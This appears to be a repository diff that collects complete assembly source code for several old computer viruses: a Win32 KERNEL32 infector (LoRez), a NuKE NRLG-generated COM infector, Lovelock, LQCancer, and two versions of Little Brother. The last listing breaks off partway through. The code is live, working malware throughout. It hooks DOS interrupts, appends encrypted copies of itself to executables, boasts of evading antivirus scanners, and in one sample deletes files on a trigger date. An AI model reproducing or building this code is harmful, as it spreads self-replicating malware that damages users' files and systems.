jmpbackptr dd offset jmpback
jmpback dd 0 ; original API VA
db 'þ [LoRez] v1 by Virogen [NoP] þ' ; it's i said the fly
kernfile db '\KERNEL32.dll',0 ; our kernel filename
kernfile_e:
APIs: ; structure of ptrs to our API names
dd offset GetTicks
dd offset GetWinDir
dd offset SetAttrib
dd offset CreateFile
dd offset SetFilePtr
dd offset ReadFile
dd offset WriteFile
dd offset CloseFile
dd offset GetSysDir
dd offset CopyFile
dd offset GetFileTime
dd offset SetFileTime
dd offset ExitProc
dd offset GetAttrib ; the last entry is our hooked API
dd 0
; our API names
GetTicks db 'GetTickCount',0
GetWinDir db 'GetWindowsDirectoryA',0
SetAttrib db 'SetFileAttributesA',0
CreateFile db 'CreateFileA',0
SetFilePtr db 'SetFilePointer',0
ReadFile db 'ReadFile',0
WriteFile db 'WriteFile',0
CloseFile db 'CloseHandle',0
GetSysDir db 'GetSystemDirectoryA',0
CopyFile db 'CopyFileA',0
GetFileTime db 'GetFileTime',0
SetFileTime db 'SetFileTime',0
ExitProc db 'ExitProcess',0 ; only used in original host
GetAttrib db 'GetFileAttributesA',0
API_Struct: ; structure for API VAs
GetTickCountAPI dd 0
GetWinDirAPI dd 0
SetAttribAPI dd 0
CreateFileAPI dd 0
SetFilePtrAPI dd 0
ReadFileAPI dd 0
WriteFileAPI dd 0
CloseFileAPI dd 0
GetSysDirAPI dd 0
CopyFileAPI dd 0
GetFileTimeAPI dd 0
SetFileTimeAPI dd 0
ExitProcessAPI dd 0
GetAttribAPI dd 0
FileOff dd 0
APIStructEnd:
; data below is not written to disk, but is allocated by object
vend:
handle dd 0 ; file handle
infkern db 0 ; kernel infection flag
ptrpeheader dd 0 ; offset of PE header
ObjTbloff dd 0 ; offset of object table
objtblVA dd 0 ; VA of object table
bytesread dd 0 ; return from fread/fwrite
nameptrtbl dd 0
adrtbl dd 0
ourAPIptr dd 0
curAPIptr dd 0
ordinaltbl dd 0
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
originalRVA dd 0 ; orginal RVA of our hooked API
chkRVA dd 0
originalpsize dd 0
hookRVA dd 0
virusRVA dd 0
hdrread dd 0
lastobjimageoff dd 0
objtext dd 0
creation dd 0,0 ; our file time structures
lastaccess dd 0,0
lastwrite dd 0,0
oldattrib dd 0 ; stored file attribs
fnameptr dd 0 ; ptr to file name we're infecting
fname db 64 dup (0) ; storage for source kernel32.dll
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
peheader: ; PE header format
signature dd 0
cputype dw 0
numObj dw 0
dd 0,0,0
NtHeaderSize dw 0
Flags dw 0
dd 0,0,0,0
entrypointRVA dd 0
dd 0,0
imagebase dd 0
objalign dd 0
filealign dd 0
dd 0,0,0,0
imagesize dd 0
headersize dd 0
db MAX_HDR*2 dup (0)
buffer_end:
ends
end vstart
+430
View File
@@ -0,0 +1,430 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿ;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
;
mov ds,word ptr cs:[2ch] ;
xor bx,bx ;
nuevo: ;
inc bx ;get file name!
mov dl,byte ptr ds:[bx] ;
cmp dl,00 ;
jne nuevo ;
nuevo1: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,00 ;
jne nuevo1 ;
nuevo2: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,01 ;
jne nuevo2 ;
nuevo3: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,00 ;
jne nuevo3 ;
cero3: ;
inc bx ;
push bx ;
pop dx ;
push dx ;
push ds ;
push cs ;
pop ds ;
push cs ;
pop es ;
pop ds ;
pop dx ;
MOV AH,41H ;delete name
iNT 21H ;ds:dx=file mame
int 20h ;
NO_DAY: ;
ret ;
;---------------------------------
ÿ;-------------;
Dir_S: ;
jmp dirsal ;
no_Good:iret ;
;-------------;
ÿaction_dia Db 01H ;day for the action
action_mes Db 01H ;month for the action
FECHA DW 012H ;Secon for mark
FECHAd Db 012H ;Secon for mark dir st
fin:
code ends
end start
+352
View File
@@ -0,0 +1,352 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: LOVELOCK.ASM
; Lovelock by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'DA'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h,0037h ; xor word ptr [bx], xxxx
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
call next
next:
pop bp
sub bp, offset next
push es
push ds
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, es
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
ret
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM
jz return ; Exit if so
lds dx, cs:filename
mov ax, 4300h
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov dx, offset readbuffer
mov ah, 003Fh
mov cx, 001Ah
int 0021h
xor dx, dx
xor cx, cx
mov ax, 4202h
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
mov di, offset old3
mov si, offset readbuffer
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+14h], dx ; IP Offset
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+2], ax ; the EXE header.
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov cx, (heap-encrypt)/2
mov di, offset encryptbuffer
mov si, offset ENCRYPT
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
xor cx, cx
mov ax, 4200h
xor dx, dx
int 0021h
mov dx, offset readbuffer
mov ah, 0040h
pop cx
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db 'Ender',0
virusname db 'Lovelock',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
Binary file not shown.
+138
View File
@@ -0,0 +1,138 @@
page ,132
name LiquidCodeCANCER
title LQCancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcode - offset start
start:
jmp cancer
ident db 'LiquidCode<tm>'
counter db 0
allcom db '*.COM',0
vleng db virlen
n_10D db 3 ;Unused
progbeg dd ?
eof dw ?
handle dw ?
cancer:
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
mov ah,ah ;****
int 21
mov ah,ah ;****
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,offset fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov [handle],ax ;Save handle
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF ;Read all bytes
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,buffer
mov cs:[eof],ax ;Save pointer to the end of file
xor cx,cx ;Go to file beginning
mov dx,cx
mov bx,cs:[handle]
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
mov dx,0 ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov bx,cs:[handle]
mov ah,40 ;Write to handle
int 21
close:
mov bx,cs:[handle]
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
mov dx,newdta
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov si,offset transf ;Move this part of code
mov cx,smalcod ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov di,di ;****
mov bx,0ffff ;****
mov cx,bx ;Restore original program's code
mov ah,ah ;****
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
int 20 ;???
db 0 ;Unused
code ends
end start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+247
View File
@@ -0,0 +1,247 @@
;****************************************************************************
;* *
;* ASM Source Code For: *
;* Little Brother Virus - Version 1 *
;* *
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 1
oi21 equ end
nameptr equ end+4
DTA equ end+8
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: cld
mov ax,0DEDEh ;already installed?
int 21h
cmp ah,041h
je cancel
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
movsw
movsw
push es ;set vector to new handler
pop ds
mov dx,offset ni21
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DEDEh ;install-check ?
je do_DEDE
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_DEDE: mov ax,04100h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz do_com
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;create the file (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the file
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;delete the file
mov ah,41h
int 21
return1: pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext
return: ret
do_com: call findfirst ;is the file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return
mov si,offset COM_txt ;change extension to COM
jmp short change_ext
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,'.'
repnz scasb
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

+265
View File
@@ -0,0 +1,265 @@
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
